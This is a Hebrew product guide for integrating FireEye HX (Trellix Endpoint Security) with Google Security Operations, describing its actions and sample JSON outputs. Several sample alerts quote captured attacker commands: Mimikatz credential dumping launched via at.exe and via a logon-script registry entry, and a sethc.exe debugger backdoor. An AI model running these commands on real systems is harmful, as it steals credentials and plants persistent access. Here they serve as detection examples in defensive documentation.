FireEye HX

במסמך הזה מוסבר איך לשלב את FireEye HX עם Google Security Operations.

הגדרת השילוב של FireEye HX ב-Google Security Operations

איך מגדירים שילובים ב-Google SecOps

פרמטרים של שילוב

כדי להגדיר את השילוב, משתמשים בפרמטרים הבאים:

שם הפרמטר לתצוגה סוג ערך ברירת המחדל חובה תיאור
שם המכונה String לא רלוונטי לא שם המכונה שרוצים להגדיר לה את השילוב.
תיאור String לא רלוונטי לא תיאור המכונה.
שרת String https://x.x.x.x:<port> כן הכתובת של המכונה של Trellix Endpoint Security.
שם משתמש String לא רלוונטי כן כתובת האימייל של המשתמש שצריך להשתמש בה כדי להתחבר ל-Trellix Endpoint Security.
סיסמה סיסמה לא רלוונטי כן הסיסמה של המשתמש הרלוונטי.
אימות SSL תיבת סימון סימן אישור כן צריך לסמן את התיבה הזו אם החיבור ל-Trellix Endpoint Security דורש אימות SSL (מסומנת כברירת מחדל).
הפעלה מרחוק תיבת סימון התיבה לא מסומנת לא מסמנים את התיבה כדי להפעיל את השילוב שהוגדר מרחוק. אחרי שמסמנים את התיבה, מופיעה האפשרות לבחור את המשתמש המרוחק (הנציג).

פעולות

ביטול ההכלה של המארח

משתמשים בפעולה Cancel Host Contain כדי להסיר מארח מההכלה בשרת Trellix Endpoint Security, על סמך כתובת ה-IP או ישויות שם המארח של Google SecOps.

קלט של הפעולה

הפעולה Cancel Host Contain דורשת את הפרמטרים הבאים:

פרמטר תיאור
Agent Id אופציונלי

מזהה הנציג של המארח שרוצים להסיר מההכלה. אם לא מציינים מזהה, הפעולה מנסה לזהות את מזהה הנציג לפי ישויות של שם מארח או כתובת שמצורפות.

ערכי פלט של פעולות

הפעולה ביטול הכלה של מארח מספקת את הפלטים הבאים:

סוג הפלט של הפעולה זמינות
חיבור לקיר של המארז לא זמין
קישור לקיר של התיק לא זמין
שולחן קונסולה צמוד לקיר לא זמין
טבלת העשרה לא זמין
תוצאת JSON לא זמין
תוצאת הסקריפט יש גישה
תוצאת הסקריפט

בטבלה הבאה מפורטים הערכים של פלט תוצאת הסקריפט כשמשתמשים בפעולה ביטול הכלה של מארח:

שם תוצאת הסקריפט ערך
is_success true או false
הודעות פלט של פעולות

הפעולה Cancel Host Contain מספקת את הודעות הפלט הבאות:

הודעת פלט תיאור ההודעה
Successfully requested to cancel host containment. הפעולה בוצעה בהצלחה.
Error executing action "Cancel Host Contain". Reason: ERROR_REASON הפעולה נכשלה. צריך לבדוק את החיבור לשרת, את הפרמטרים של הקלט או את פרטי הכניסה.

בדיקת סטטוס ההכלה

משתמשים בפעולה Check Containment Status כדי לבדוק את סטטוס ההכלה של מארח ב-Trellix Endpoint Security.

קלט של הפעולה

הפעולה בדיקת סטטוס ההכלה דורשת את הפרמטרים הבאים:

פרמטר תיאור
Agent Id אופציונלי

מזהה הסוכן של המארח שרוצים לבדוק את סטטוס ההכלה שלו. אם לא מספקים מזהה, הפעולה מנסה לזהות את מזהה הנציג לפי ישויות של שם מארח או כתובת IP שמצורפות.

ערכי פלט של פעולות

הפעולה Check Containment Status מספקת את הפלטים הבאים:

סוג הפלט של הפעולה זמינות
חיבור לקיר של המארז לא זמין
קישור לקיר של התיק לא זמין
שולחן קונסולה צמוד לקיר לא זמין
טבלת העשרה לא זמין
תוצאת JSON יש גישה
תוצאת הסקריפט יש גישה
תוצאת JSON

בדוגמה הבאה מוצג פלט התוצאה בפורמט JSON שמתקבל כשמשתמשים בפעולה Check Containment Status:

{
  "operation_results": {
    "agent-123": {
      "operation": "containment_status",
      "result": "success",
      "status": "contained",
      "reason": null
    }
  },
  "device_metadata": {}
}
תוצאת הסקריפט

בטבלה הבאה מפורטים הערכים של פלט תוצאת הסקריפט כשמשתמשים בפעולה Check Containment Status:

שם תוצאת הסקריפט ערך
is_success true או false
הודעות פלט של פעולות

הפעולה Check Containment Status מספקת את הודעות הפלט הבאות:

הודעת פלט תיאור ההודעה
Successfully checked containment status for specified host. הפעולה בוצעה בהצלחה.
Error executing action "Check Containment Status". Reason: ERROR_REASON הפעולה נכשלה. צריך לבדוק את החיבור לשרת, את הפרמטרים של הקלט או את פרטי הכניסה.

הכלה של המארח

תיאור

יוצרים משימה להכלת מארח בשרת Trellix Endpoint Security על סמך כתובת ה-IP של Google SecOps או ישויות המארח של Google SecOps.

פרמטרים

פרמטר סוג ערך ברירת המחדל חובה תיאור
מזהה הסוכן String לא רלוונטי לא מזהה הסוכן של המארח שצריך להכיל. אם לא מציינים את המזהה, הפעולה תנסה לזהות את מזהה הנציג מהישויות המצורפות של שם המארח או הכתובת.
אישור ההכלה תיבת סימון התיבה לא מסומנת כן מציינים אם בקשת הכלה של המארח צריכה להיות מאושרת באופן אוטומטי כדי ליצור משימת הכלה של המארח בשרת Trellix Endpoint Security. אם היא לא מאושרת באופן אוטומטי, אפשר לאשר בקשת הכלה במסוף האינטרנט של Trellix Endpoint Security.

ריצה

הפעולה הזו פועלת על הישויות הבאות:

  • כתובת IP
  • שם המארח

תוצאות הפעולה

תוצאת הסקריפט
שם תוצאת הסקריפט אפשרויות של ערכים דוגמה
is_success נכון/לא נכון is_success:False
תוצאת JSON
N/A

קבלת התראות

תיאור

קבלת התראות אבטחה של Trellix Endpoint Security על סמך הישות ותנאי החיפוש שצוינו ב-Google SecOps. הפעולה פועלת על ישויות המארח או ה-IP ב-Google SecOps.

פרמטרים

שם הפרמטר לתצוגה סוג ערך ברירת המחדל חובה תיאור
הגבלה מספר שלם לא רלוונטי לא כמה התראות הפעולה צריכה להחזיר, לדוגמה, 100.
יש מצב שיתוף רשימה נפתחת _(ברירת המחדל = כל ערך)_ _default = any_ לא סינון התראות שהופעלו מאינדיקטורים עם מצב שיתוף ספציפי. _ערכים זמינים: any,‏ restricted ו-unrestricted._
סטטוס הטיפול בהתראה רשימה נפתחת _(ברירת המחדל = כל ערך)_ _default = any_ לא סינון התראות לפי סטטוס הטיפול בהתראה. ערכים אפשריים: _any, active_threat, alert, block, partial_block._
התראה שדווחה ב-X השעות האחרונות מספר שלם לא רלוונטי לא סינון התראות שדווחו ב-X השעות האחרונות, למשל ב-4 השעות האחרונות.
מקור ההתראה רשימה נפתחת _(ברירת המחדל = כל ערך)_ _default = any_ לא

מקור ההתראה. ערכים זמינים: any, ‏ exd (זיהוי ניצול לרעה), ‏ mal (התראה על תוכנה זדונית), ‏ ioc (סימן מחשיד).
מזהה התנאי String לא רלוונטי לא סינון התראות לפי מזהה תנאי ספציפי.
מזהה ההתראה String לא רלוונטי לא החזרת התראה ספציפית לפי מזהה ההתראה.

ריצה

הפעולה הזו פועלת על הישויות הבאות:

  • כתובת IP
  • שם המארח

תוצאות הפעולה

תוצאת הסקריפט
שם תוצאת הסקריפט אפשרויות של ערכים דוגמה
is_success נכון/לא נכון is_success:False
תוצאת JSON
[
    {
        "EntityResult": [{
            "indicator": {
                "category": "Mandiant",
                "display_name": "MIMIKATZ SUSPICIOUS PROCESS ARGUMENTS (METHODOLOGY)",
                "name": "MIMIKATZ SUSPICIOUS PROCESS ARGUMENTS (METHODOLOGY)",
                "url": "/hx/api/v3/indicators/mandiant/b7eae353_be50_44cf_8773_7067e9c66d7b",
                "signature": null,
                "_id": "b7eae353-be50-44cf-8773-7067e9c66d7b",
                "uri_name": "b7eae353-be50-44cf-8773-7067e9c66d7b"
            },
            "event_id": 12880,
            "event_values": {
                "processEvent/processCmdLine": "at  13:00 \\\"C:\\\\TMP\\\\mim.exe sekurlsa::LogonPasswords > C:\\\\TMP\\\\o.txt\\\"",
                "processEvent/parentPid": 4832,
                "processEvent/md5": "e2a9c62b47f64525f7eb0cb8d637ff90",
                "processEvent/processPath": "C:\\\\Windows\\\\System32\\\\at.exe",
                "processEvent/parentProcess": "cmd.exe",
                "processEvent/timestamp": "2020-05-29T10:21:03.419Z",
                "processEvent/startTime": "2020-05-29T10:21:03.419Z",
                "processEvent/process": "at.exe",
                "processEvent/username": "DOMAIN-COM\\\\Administrator",
                "processEvent/pid": 7332,
                "processEvent/parentProcessPath": "C:\\\\Windows\\\\System32\\\\cmd.exe",
                "processEvent/eventType": "start"
            },
            "event_type": "processEvent",
            "subtype": null,
            "reported_at": "2020-05-29T10:24:05.410Z",
            "decorators": [],
            "md5values": ["e2a9c62b47f64525f7eb0cb8d637ff90"],
            "appliance": {
                "_id": "86B7F11ACF8D"
            },
            "agent": {
                "url": "/hx/api/v3/hosts/FqNP4ybCdrlfVqG3lrCvRP",
                "_id": "FqNP4ybCdrlfVqG3lrCvRP",
                "containment_state": "normal"
            },
            "is_false_positive": false,
            "event_at": "2020-05-29T10:21:03.419Z",
            "source": "IOC",
            "matched_at": "2020-05-29T10:23:22.000Z",
            "decorator_statuses": [],
            "url": "/hx/api/v3/alerts/88",
            "_id": 88,
            "resolution": "ALERT",
            "condition": {
                "url": "/hx/api/v3/conditions/yirelRwhiuXlF0bQhTL4GA==",
                "_id": "yirelRwhiuXlF0bQhTL4GA=="
            },
            "matched_source_alerts": []
        }],
        "Entity": "PC-01"
    }
]

קבלת פרטים על קבוצת התראות

תיאור

קבלת פרטים מלאים על קבוצת התראות לפי המזהה שלה.

פרמטרים

שם הפרמטר לתצוגה סוג ערך ברירת המחדל חובה תיאור
מזהה קבוצת ההתראות String לא רלוונטי כן ציינו רשימה מופרדת בפסיקים של מזהי קבוצות התראות שאתם רוצים לאחזר את הפרטים שלהן.

ריצה

הפעולה הזו לא פועלת על ישויות, יש לה פרמטר קלט חובה.

תוצאות הפעולה

תוצאת הסקריפט
שם תוצאת הסקריפט אפשרויות של ערכים דוגמה
is_success נכון/לא נכון is_success:False
תוצאת JSON
{
    "details": [],
    "route": "/hx/api/v3/alert_groups/id",
    "data": {
        "_id": "622d3688031aa40faa4bd86028841276",
        "assessment": "[Process reg.exe started] MIMIKATZ SUSPICIOUS PROCESS ARGUMENTS (METHODOLOGY)",
        "file_full_path": "C:\\Windows\\System32\\reg.exe",
        "first_event_at": "2020-08-06T06:32:55.761Z",
        "last_event_at": "2020-08-06T06:32:55.761Z",
        "dispositions": [],
        "source": "IOC",
        "has_fp_disposition": false,
        "last_alert": {
            "_id": 729,
            "agent": {
                "_id": "QKQ0SinOZUbehz5AgFXQhX",
                "url": "/hx/api/v3/hosts/QKQ0SinOZUbehz5AgFXQhX",
                "hostname": "HW-HOST-024",
                "containment_state": "normal"
            },
            "condition": {
                "_id": "yirelRwhiuXlF0bQhTL4GA==",
                "url": "/hx/api/v3/conditions/yirelRwhiuXlF0bQhTL4GA=="
            },
            "event_at": "2020-08-06T06:32:55.761+00:00",
            "matched_at": "2020-08-06T06:37:55+00:00",
            "reported_at": "2020-12-18T14:03:18.856+00:00",
            "source": "IOC",
            "resolution": "ALERT",
            "decorators": [],
            "md5values": [
                "05cf3ce225b05b669e3118092f4c8eab"
            ],
            "decorator_sources": [],
            "decorator_statuses": [],
            "url": "/hx/api/v3/alerts/729",
            "event_id": 207,
            "event_type": "processEvent",
            "event_values": {
                "processEvent/timestamp": "2020-08-06T06:32:55.761Z",
                "processEvent/eventType": "start",
                "processEvent/pid": 10356,
                "processEvent/processPath": "C:\\Windows\\System32\\reg.exe",
                "processEvent/process": "reg.exe",
                "processEvent/parentPid": 9456,
                "processEvent/parentProcessPath": "C:\\Windows\\System32\\cmd.exe",
                "processEvent/parentProcess": "cmd.exe",
                "processEvent/username": "FIREEYE-LAB\\Administrator",
                "processEvent/startTime": "2020-08-06T06:32:55.761Z",
                "processEvent/md5": "05cf3ce225b05b669e3118092f4c8eab",
                "processEvent/processCmdLine": "REG  ADD HKCU\\Environment /f /v UserInitMprLogonScript /t REG_MULTI_SZ /d \"C:\\TMP\\mim.exe sekurlsa::LogonPasswords > C:\\TMP\\o.txt\""
            },
            "is_false_positive": false
        },
        "generic_alert_badge": null,
        "generic_alert_label": null,
        "stats": {
            "events": 1
        },
        "url": "/hx/api/v3/alert_groups/622d3688031aa40faa4bd86028841276",
        "created_at": "2020-12-18T14:03:24.535Z",
        "acknowledgement": {
            "acknowledged": false,
            "acknowledged_by": null,
            "acknowledged_time": null,
            "comment": null,
            "comment_update_time": null
        },
        "grouped_by": {
            "condition_id": "yirelRwhiuXlF0bQhTL4GA==",
            "detected_by": "ioc_engine",
            "host": {
                "_id": "QKQ0SinOZUbehz5AgFXQhX",
                "url": "/hx/api/v3/hosts/QKQ0SinOZUbehz5AgFXQhX",
                "hostname": "HW-HOST-024",
                "primary_ip_address": "172.30.202.55"
            }
        }
    },
    "message": "OK"
}
קיר נרתיקים
סוג התוצאות ערך/תיאור סוג
הודעת פלט*

הצלחה ב-1 (is_success=true): הפרטים על קבוצות ההתראות הבאות אוחזרו בהצלחה ב-Trellix Endpoint Security: ‏{alert group ids}

Unsuccess for 1 (is_success=true): Action wasn't able to retrieve details about the following alert groups in Trellix Endpoint Security: {alert group ids}

נכשל לכולם (is_success=false): אף אחת מקבוצות ההתראות שצוינו לא נמצאה ב-Trellix Endpoint Security.

 כללי
קיר נרתיקים

שם: פרטי קבוצת ההתראות


עמודה:

  • בדיקה
  • מזהה קבוצת ההתראות
  • האירוע הראשון
  • האירוע האחרון
  • אושרו
  • מזהה HX של ההתראה האחרונה
כללי

קבלת התראות בקבוצת התראות

תיאור

קבלת כל ההתראות שנמצאו בקבוצת ההתראות שצוינה

פרמטרים

שם הפרמטר לתצוגה סוג ערך ברירת המחדל חובה תיאור
מזהה קבוצת ההתראות String לא רלוונטי כן ציינו רשימה מופרדת בפסיקים של מזהי קבוצות התראות שאתם רוצים לאחזר את הפרטים שלהן.
הגבלה מספר שלם 50 לא מציינים את המספר המקסימלי של רשימות ההתראות שיוחזרו מה-API לקבוצת ההתראות. ברירת המחדל היא 50.

ריצה

הפעולה הזו לא פועלת על ישויות, יש לה פרמטר קלט חובה.

תוצאות הפעולה

תוצאת הסקריפט
שם תוצאת הסקריפט אפשרויות של ערכים דוגמה
is_success נכון/לא נכון is_success:False
תוצאת JSON
{
    "data": {
        "total": 2,
        "query": {},
        "sort": {},
        "offset": 0,
        "limit": 50,
        "entries": [
            {
                "_id": 712,
                "agent": {
                    "_id": "9GJe9n4Ynd5dFtZ8wCjIu7",
                    "url": "/hx/api/v3/hosts/9GJe9n4Ynd5dFtZ8wCjIu7",
                    "containment_state": "normal"
                },
                "condition": {
                    "_id": "2npvcLf_arxPaH717hQZ9g==",
                    "url": "/hx/api/v3/conditions/2npvcLf_arxPaH717hQZ9g=="
                },
                "indicator": {
                    "_id": "f0e49db2-1c28-4529-a426-73251d92de7d",
                    "url": "/hx/api/v3/indicators/mandiant/f0e49db2_1c28_4529_a426_73251d92de7d",
                    "name": "EASE OF ACCESS BACKDOORS (METHODOLOGY)",
                    "uri_name": "f0e49db2-1c28-4529-a426-73251d92de7d",
                    "display_name": "EASE OF ACCESS BACKDOORS (METHODOLOGY)",
                    "signature": null,
                    "category": "Mandiant"
                },
                "event_at": "2020-12-10T08:04:09.521Z",
                "matched_at": "2020-12-10T08:04:43.000Z",
                "reported_at": "2020-12-10T08:04:49.607Z",
                "source": "IOC",
                "subtype": null,
                "matched_source_alerts": [],
                "resolution": "ALERT",
                "is_false_positive": false,
                "decorators": [],
                "md5values": [],
                "decorator_statuses": [],
                "url": "/hx/api/v3/alerts/712",
                "event_id": 853899,
                "event_type": "regKeyEvent",
                "event_values": {
                    "regKeyEvent/timestamp": "2020-12-10T08:04:09.521Z",
                    "regKeyEvent/hive": "HKEY_LOCAL_MACHINE\\SOFTWARE",
                    "regKeyEvent/keyPath": "Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe",
                    "regKeyEvent/path": "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe\\Debugger",
                    "regKeyEvent/eventType": 1,
                    "regKeyEvent/pid": 8800,
                    "regKeyEvent/process": "reg.exe",
                    "regKeyEvent/processPath": "C:\\Windows\\System32",
                    "regKeyEvent/valueName": "Debugger",
                    "regKeyEvent/valueType": "REG_SZ",
                    "regKeyEvent/value": "QwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAGMAbQBkAC4AZQB4AGUAAAA=",
                    "regKeyEvent/text": "C:\\Windows\\System32\\cmd.exe",
                    "regKeyEvent/username": "FIREEYE-LAB\\Administrator"
                },
                "appliance": {
                    "_id": "86B7F11ACF8D"
                }
            },
            {
                "_id": 723,
                "agent": {
                    "_id": "9GJe9n4Ynd5dFtZ8wCjIu7",
                    "url": "/hx/api/v3/hosts/9GJe9n4Ynd5dFtZ8wCjIu7",
                    "containment_state": "normal"
                },
                "condition": {
                    "_id": "2npvcLf_arxPaH717hQZ9g==",
                    "url": "/hx/api/v3/conditions/2npvcLf_arxPaH717hQZ9g=="
                },
                "indicator": {
                    "_id": "f0e49db2-1c28-4529-a426-73251d92de7d",
                    "url": "/hx/api/v3/indicators/mandiant/f0e49db2_1c28_4529_a426_73251d92de7d",
                    "name": "EASE OF ACCESS BACKDOORS (METHODOLOGY)",
                    "uri_name": "f0e49db2-1c28-4529-a426-73251d92de7d",
                    "display_name": "EASE OF ACCESS BACKDOORS (METHODOLOGY)",
                    "signature": null,
                    "category": "Mandiant"
                },
                "event_at": "2020-12-10T09:26:14.114Z",
                "matched_at": "2020-12-10T09:26:56.000Z",
                "reported_at": "2020-12-10T09:27:08.735Z",
                "source": "IOC",
                "subtype": null,
                "matched_source_alerts": [],
                "resolution": "ALERT",
                "is_false_positive": false,
                "decorators": [],
                "md5values": [],
                "decorator_statuses": [],
                "url": "/hx/api/v3/alerts/723",
                "event_id": 880771,
                "event_type": "regKeyEvent",
                "event_values": {
                    "regKeyEvent/timestamp": "2020-12-10T09:26:14.114Z",
                    "regKeyEvent/hive": "HKEY_LOCAL_MACHINE\\SOFTWARE",
                    "regKeyEvent/keyPath": "Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe",
                    "regKeyEvent/path": "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe\\Debugger",
                    "regKeyEvent/eventType": 1,
                    "regKeyEvent/pid": 8740,
                    "regKeyEvent/process": "reg.exe",
                    "regKeyEvent/processPath": "C:\\Windows\\System32",
                    "regKeyEvent/valueName": "Debugger",
                    "regKeyEvent/valueType": "REG_SZ",
                    "regKeyEvent/value": "QwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAGMAbQBkAC4AZQB4AGUAAAA=",
                    "regKeyEvent/text": "C:\\Windows\\System32\\cmd.exe",
                    "regKeyEvent/username": "FIREEYE-LAB\\Administrator"
                },
                "appliance": {
                    "_id": "86B7F11ACF8D"
                }
            }
        ]
    },
    "message": "OK",
    "details": [],
    "route": "/hx/api/v3/alert_groups/group_id/alerts"
}
קיר נרתיקים
סוג התוצאות ערך/תיאור סוג
הודעת פלט*

הצלחה עבור 1 (is_success=true): אוחזרו בהצלחה פרטים על קבוצות ההתראות הבאות ב-Trellix Endpoint Security: {alert group ids}

Unsuccess for 1 (is_success=true): Action wasn't able to retrieve details about the following alert groups in Trellix Endpoint Security: {alert group ids}

נכשל לכולם (is_success=false): אף אחת מקבוצות ההתראות שצוינו לא נמצאה ב-Trellix Endpoint Security.

 כללי
קיר נרתיקים

שם: "קבוצת התראות אבטחה של Trellix Endpoint Security +{alert_group_id)"


עמודה:

  • מזהה ההתראה של Trellix Endpoint Security
  • שם האינדיקטור
  • מועד האירוע
  • זמן ההתאמה
  • מועד הדיווח
  • מקור
  • סוג האירוע
כללי

הורדת הקובץ

משתמשים בפעולה Get File כדי ליצור משימה של רכישת קובץ במארח FireEye HX.

קלט של הפעולה

הפעולה Get File דורשת את הפרמטרים הבאים:

פרמטר תיאור
Agent Id אופציונלי

מזהה הסוכן של המארח שממנו רוצים לקבל את הקובץ. אם לא מספקים מזהה, הפעולה מנסה לזהות את מזהה הנציג לפי ישויות של שם מארח או כתובת IP שמצורפות.
File Path חובה

הנתיב המלא של הקובץ שצריך לאסוף בנקודת הקצה (לדוגמה, C:\Windows\System32\notepad.exe או /tmp/malware.sh).
Use API Mode אופציונלי

אם האפשרות הזו נבחרת, המערכת משתמשת בממשקי API של מערכת הקבצים של מערכת ההפעלה כדי לאסוף קבצים, במקום לקרוא את הדיסק הגולמי. נדרש בנקודות קצה (endpoints) של Linux. האפשרות הזו לא מסומנת כברירת מחדל.
External Id אופציונלי

מזהה חיצוני בהתאמה אישית לשיוך למשימת רכישת הקובץ.

ערכי פלט של פעולות

הפעולה Get File מספקת את הפלטים הבאים:

סוג הפלט של הפעולה זמינות
חיבור לקיר של המארז לא זמין
קישור לקיר של התיק לא זמין
שולחן קונסולה צמוד לקיר לא זמין
טבלת העשרה לא זמין
תוצאת JSON יש גישה
תוצאת הסקריפט יש גישה
תוצאת JSON

בדוגמה הבאה מוצג פלט התוצאה בפורמט JSON שמתקבל כשמשתמשים בפעולה Get File:

{
  "agent_id": "KE7IdyTFl9fcUyHoPVKOWe",
  "file_name": "notepad.exe",
  "file_path": "C:\\windows\\system32",
  "acquisition_id": 14,
  "_id": 14,
  "_revision": "20241031012314519770835082",
  "error_message": null,
  "comment": null,
  "state": "COMPLETE",
  "md5": "c5b188ac73d5dca677cf5712f65de5af",
  "zip_file_size": "178427",
  "request_time": "2024-10-31T01:21:50Z",
  "request_actor": {
    "_id": 1011,
    "username": "md_services"
  },
  "req_path": "C:\\windows\\system32",
  "req_filename": "notepad.exe",
  "req_multifile_parameters": {
    "isMultiFile": false
  },
  "req_use_api": false,
  "zip_passphrase": "unzip-me",
  "external_id": "File Acquisition Alert_ee345c69-5b84-4b7a-81a4-ea205fc5cd51",
  "finish_time": "2024-10-31T01:23:14.519Z",
  "indicator": null,
  "url": "/hx/api/v3/acqs/files/14",
  "host": {
    "_id": "KE7IdyTFl9fcUyHoPVKOWe",
    "url": "/hx/api/v3/hosts/KE7IdyTFl9fcUyHoPVKOWe"
  },
  "alert": null,
  "condition": null,
  "download_path": "/tmp/example_acquisition.zip"
}
תוצאת הסקריפט

בטבלה הבאה מפורטים הערכים של פלט הסקריפט כשמשתמשים בפעולה Get File:

שם תוצאת הסקריפט ערך
is_success true או false
הודעות פלט של פעולות

הפעולה Get File מספקת את הודעות הפלט הבאות:

הודעת פלט תיאור ההודעה
Successfully acquired file from host. הפעולה בוצעה בהצלחה.
Error executing action "Get File". Reason: ERROR_REASON הפעולה נכשלה. צריך לבדוק את החיבור לשרת, את הפרמטרים של הקלט או את פרטי הכניסה.

קבלת פרטי המארח

תיאור

העשרת ישויות של מארח או כתובת IP ב-Google SecOps על סמך המידע מ-Trellix Endpoint Security.

ריצה

הפעולה הזו פועלת על הישויות הבאות:

  • כתובת IP
  • שם המארח

תוצאות הפעולה

תוצאת הסקריפט
שם תוצאת הסקריפט אפשרויות של ערכים דוגמה
is_success נכון/לא נכון is_success:False
תוצאת JSON
[
    {
        "EntityResult": {
            "last_alert": {
                "url": "/hx/api/v3/alerts/254",
                "_id": 254
            },
            "domain": "EXAMPLE-COM",
            "last_exploit_block_timestamp": null,
            "containment_state": "normal",
            "timezone": "\\u05e9\\u05e2\\u05d5\\u05df \\u05e7\\u05d9\\u05e5 \\u05d9\\u05e8\\u05d5\\u05e9\\u05dc\\u05d9\\u05dd",
            "gmt_offset_seconds": 10800,
            "initial_agent_checkin": "2020-05-29T10:11:12.022Z",
            "stats": {
                "alerting_conditions": 10,
                "exploit_alerts": 0,
                "acqs": 4,
                "malware_false_positive_alerts": 0,
                "alerts": 10,
                "exploit_blocks": 0,
                "false_positive_alerts": 0,
                "malware_cleaned_count": 0,
                "malware_alerts": 0,
                "false_positive_alerts_by_source": {},
                "generic_alerts": 0,
                "malware_quarantined_count": 0
            },
            "primary_mac": "00-50-56-11-22-33",
            "hostname": "HW-HOST-025",
            "primary_ip_address": "1.1.1.1",
            "last_audit_timestamp": "2020-06-01T09:10:38.752Z",
            "last_alert_timestamp": "2020-06-01T08:02:30.817+00:00",
            "containment_queued": false,
            "sysinfo": {
                "url": "/hx/api/v3/hosts/FqNP4ybCdrlfVqG3lrCvRP/sysinfo"
            },
            "last_exploit_block": null,
            "reported_clone": false,
            "url": "/hx/api/v3/hosts/FqNP4ybCdrlfVqG3lrCvRP",
            "excluded_from_containment": false,
            "last_poll_timestamp": "2020-06-01T09:10:36.000Z",
            "last_poll_ip": "1.1.1.1",
            "containment_missing_software": false,
            "_id": "FqNP4ybCdrlfVqG3lrCvRP",
            "os": {
                "kernel_version": null,
                "platform": "win",
                "patch_level": null,
                "bitness": "64-bit",
                "product_name": "Windows 10 Pro"
            },
            "agent_version": "32.30.0"
        },
        "Entity": "PC-01"
    }
]

אינדיקטור לטעינה

תיאור

קבלת מידע על אינדיקטור ספציפי משרת Trellix Endpoint Security.

פרמטרים

שם הפרמטר לתצוגה סוג ערך ברירת המחדל חובה תיאור
קטגוריית אינדיקטורים String לא רלוונטי כן צריך לציין את הערך uri_name של קטגוריית האינדיקטור. אפשר למצוא את uri_name על ידי הפעלת הפעולה "Get Indicators".
שם האינדיקטור String לא רלוונטי כן צריך לציין את הערך של uri_name של האינדיקטור. אפשר למצוא את uri_name על ידי הפעלת הפעולה "Get Indicators".

ריצה

הפעולה הזו פועלת בכל הישויות.

תוצאות הפעולה

תוצאת הסקריפט
שם תוצאת הסקריפט אפשרויות של ערכים דוגמה
is_success נכון/לא נכון is_success:False
תוצאת JSON
{
    "category": {
        "url": "/hx/api/v3/indicator_categories/mandiant_unrestricted",
        "_id": 7,
        "uri_name": "mandiant_unrestricted",
        "name": "Mandiant Unrestricted Intel",
        "share_mode": "unrestricted"
    },
    "display_name": "FIREEYE END2END TEST",
    "description": "IOC used for testing HX appliances and content packages to ensure that things work end to end",
    "create_actor": {
        "username": "mandiant",
        "_id": 3
    },
    "active_since": "2020-05-28T13:08:08.513Z",
    "url": "/hx/api/v3/indicators/mandiant_unrestricted/2b4753b0_9972_477e_ba16_1a7c29058cee",
    "_revision": "20200528130929238120103414",
    "create_text": "General_Windows_unrestricted_2020.05.270833",
    "created_by": "General_Windows_unrestricted_2020.05.270833",
    "update_actor": {
        "username": "mandiant",
        "_id": 3
    },
    "meta": null,
    "signature": null,
    "platforms": ["win\", \"osx\", \"linux"],
    "stats": {
        "source_alerts": 0,
        "alerted_agents": 1,
        "active_conditions": 7
    },
    "_id": "2b4753b0-9972-477e-ba16-1a7c29058cee",
    "uri_name": "2b4753b0-9972-477e-ba16-1a7c29058cee",
    "name": "FIREEYE END2END TEST"
}

קבלת אינדיקטורים

תיאור

קבלת מידע על סימנים מחשידים (IOC) משרת Trellix Endpoint Security על סמך פרמטרים של חיפוש שסופקו.

פרמטרים

שם הפרמטר לתצוגה סוג ערך ברירת המחדל חובה תיאור
קטגוריית אינדיקטורים String לא רלוונטי לא קטגוריית האינדיקטור.
מונח חיפוש String לא רלוונטי לא מונח החיפוש יכול להיות כל שם, קטגוריה, חתימה, מקור או ערך תנאי.
הגבלה String לא רלוונטי לא כמה אינדיקטורים הפעולה צריכה להחזיר, למשל 100.
מצב שיתוף רשימה נפתחת _(ברירת המחדל = כל ערך)_ _default = any_ לא סינון אינדיקטורים לפי מצב שיתוף ספציפי. _ערכים זמינים: any, restricted, unrestricted._
מיון לפי שדה String לא רלוונטי לא ממיינת את התוצאות לפי השדה שצוין בסדר עולה.
נוצרה על ידי String לא רלוונטי לא סינון אינדיקטורים לפי מחבר.
יש התראות משויכות תיבת סימון לא רלוונטי לא מציינים אם להחזיר רק אינדיקטורים שיש להם התראות משויכות.

ריצה

הפעולה הזו פועלת בכל הישויות.

תוצאות הפעולה

תוצאת הסקריפט
שם תוצאת הסקריפט אפשרויות של ערכים דוגמה
is_success נכון/לא נכון is_success:False
תוצאת JSON
[
    {
        "category": {
            "url": "/hx/api/v3/indicator_categories/mandiant_unrestricted",
            "_id": 7,
            "uri_name": "mandiant_unrestricted",
            "name": "Mandiant Unrestricted Intel",
            "share_mode": "unrestricted"
        },
        "display_name": "FIREEYE END2END TEST",
        "description": "IOC used for testing HX appliances and content packages to ensure that things work end to end",
        "create_actor": {
            "username": "mandiant",
            "_id": 3
        },
        "active_since": "2020-05-28T13:08:08.513Z",
        "url": "/hx/api/v3/indicators/mandiant_unrestricted/2b4753b0_9972_477e_ba16_1a7c29058cee",
        "_revision": "20200528130929238120103414",
        "create_text": "General_Windows_unrestricted_2020.05.270833",
        "created_by": "General_Windows_unrestricted_2020.05.270833",
        "update_actor": {
            "username": "mandiant",
            "_id": 3
        },
        "meta": null,
        "signature": null,
        "platforms": ["win", "osx", "linux"],
        "stats": {
            "source_alerts": 0,
            "alerted_agents": 1,
            "active_conditions": 7
        },
        "_id": "2b4753b0-9972-477e-ba16-1a7c29058cee",
        "uri_name": "2b4753b0-9972-477e-ba16-1a7c29058cee",
        "name": "FIREEYE END2END TEST"
    }
]

קבלת רשימה של רכישות קבצים למארח

תיאור

קבלת רשימה של רכישות קבצים שהתבקשו עבור המארח משרת Trellix Endpoint Security. הפעולה פועלת על ישויות של מארח או כתובת IP ב-Google SecOps.

פרמטרים

שם הפרמטר לתצוגה סוג ערך ברירת המחדל חובה תיאור
מונח חיפוש String לא רלוונטי לא חיפוש בכל הקבצים שנרכשו עבור מארחים שמחוברים לשרת Trellix Endpoint Security. הערך של search_term יכול להיות כל ערך תנאי.
הגבלה String לא רלוונטי לא כמה רשומות הפעולה צריכה להחזיר, לדוגמה, 100.
שדה המסנן String לא רלוונטי לא מציגה רק תוצאות עם ערך השדה שצוין. אפשר לסנן את התוצאות לפי מזהה קורלציה חיצוני (external_id).

ריצה

הפעולה הזו פועלת על הישויות הבאות:

  • כתובת IP
  • שם המארח

